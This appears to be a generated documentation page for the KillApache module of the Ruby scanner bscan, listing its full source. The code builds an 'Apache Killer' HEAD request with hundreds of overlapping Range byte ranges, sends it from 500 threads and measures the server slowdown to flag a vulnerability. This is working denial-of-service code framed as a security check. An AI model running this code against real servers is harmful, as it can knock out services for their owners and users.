Module: KillApache

Defined in:
lib/bscan/modules/kill_apache.rb

Overview

Copyright © 2015, Oleg Gryb

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Instance Method Summary collapse

Instance Method Details

#get_normal_response_time(host, port, req, proto, t) ⇒ Object 



181
182
183
184
185
186
187
188
189
190
191
192
 
# File 'lib/bscan/modules/kill_apache.rb', line 181

def get_normal_response_time host,port,req,proto,t
  @threadinfo[t] ||= {}
  rsp = ''
  start = Time.now
  @activity[0]=true
  begin
    rsp = send_get_rsp host,port,req,proto,t,0
  rescue Exception => e
      Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
  end  
  [rsp,Time.now - start]
end

#read_response_socket(s) ⇒ Object 



194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
 
# File 'lib/bscan/modules/kill_apache.rb', line 194

def read_response_socket s
    rsp=''
    begin
      while (ch=s.sysread(1))
        rsp += ch
        if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
          len = $1.to_i
          while (c=s.sysread(1))
            rsp += c
            if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
              rsp += s.sysread(len)
              break
            end  
          end
          break  
        end
      end
    rescue EOFError
    end
    rsp
end

#run(*args) ⇒ Object 



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
 
# File 'lib/bscan/modules/kill_apache.rb', line 19

def run *args
  @config ||= @bscan_config
  @activity[0]=true

  @prop_pref = 'bscan.kill_apache.'
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
  @mid = args[2]?"KillApache.#{args[2]}.":'KillApache.' 

  proto = @config[prop('protocol')] 
  proto ||= 'http'
  
  threads = @config[prop('threads')]
  threads ||= '500'
  threads = threads.to_i

  rtf = @config[prop('response_time_factor')]
  rtf ||= '10'
  rtf = rtf.to_i
  rpt = @config[prop('req_per_thread')]
  rpt ||= '10'
  rpt = rpt.to_i
  @rto = @config[prop('read_timeout')]
  @rto ||= '10'
  @rto = @rto.to_i
  ranges = @config[prop('range_nbr')]
  ranges ||= '500'
  ranges = ranges.to_i
  host = @config[prop('hostport')]
  raise "#{@mid}run parameter #{prop 'hostport'} is missing, exiting" if not host
  host,port = host.split(':')
  port = (proto=='http'?80:443) if not port
  
  req = "HEAD / HTTP/1.1\r\n"+
        "Host: #{host}:#{port}\r\n"+
        "Range:bytes=0-@@@\r\n"+
        "Accept-Encoding: gzip\r\n"+
        "Connection: close\r\n\r\n"
  
  nreq = req.sub /Range:bytes=@@@\r\n/, ""
  inj = ''
  start = 5

  ranges.times do |t|
    inj += ",#{start}-#{t}"
  end  
  req.sub!(/@@@/,inj)

  Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"

  @threadinfo = {}
  threads.times do |t|
    @threadinfo[t] = {}
    for con in 0..rpt-1
      @threadinfo[t][con]=nil # need to add keys if they are not there yet
    end
  end
     
  trg,host,port = get_url_host_port req,proto    
  
  @infom ||= Mutex.new
  
  rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)

  Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
 
   threads.times do |t|
      Thread.new do
        begin
          Log 2, "#{@mid}run thread: #{t} #{rpt}"
        for con in 0..rpt-1
          send_get_rsp host,port,req,proto,t,con
        end
      rescue Exception => e
         Log 1, "#{@mid}run Exception: #{e.message}"
         Log 1, e.backtrace.join("\n")
         Thread.current.exit
      end
    end
 end

     # Monitoring thread
 mont =  Thread.new do
      maxtime=0
      while (true)
        begin 
          sleep 2.5  
          rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
          Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
          maxtime = rt if rt > nrt*rtf && rt > maxtime     
          ex = true
          tnum = 0
          cnum = 0
          @threadinfo.each_pair do  |t,c|
            inc_t = false
            if c
              c.each_key do |k|
                if c[k] == 1
                  cnum += 1 
                  inc_t = true
                  ex = false
                end
              end
            end
            tnum += 1 if inc_t
          end
          Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
          break if ex
        rescue Exception => e
           Log 1, "#{@mid}run Exception: #{e.message}"
           Log 1, e.backtrace.join("\n")
        end
      end
      Log 1, "#{@mid}run exiting monitor: #{maxtime}"
      if maxtime > 0
        issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp, 
        "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
          write_issue_state issue
        end  
    end
 

   mont.join
   

end

#send_get_rsp(host, port, req, proto, t, c) ⇒ Object 



145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
 
# File 'lib/bscan/modules/kill_apache.rb', line 145

def send_get_rsp host,port,req,proto,t,c
 @activity[0]=true
 @threadinfo[t][c] = 1
 rsp =''
 s=nil
 begin
  timeout(@rto) do
    s = TCPSocket.new(host, port)
    if (proto =~ /https/i)
      ctx = OpenSSL::SSL::SSLContext.new
      ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
      s = OpenSSL::SSL::SSLSocket.new(s, ctx)
      s.connect
    end
    l = s.syswrite(req)
    raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
    rsp = read_response_socket s
    Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
  end
 rescue Exception => e
    Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
    Log 1, e.backtrace.join("\n")
    @threadinfo[t][c] = nil
 end

 begin
    s.close if s
  rescue  Exception => e
    Log 1, "#{@mid}send_get_rsp close for #{t} Exception:  #{e.message}"
 end  
 @threadinfo[t][c] = 0

 rsp
end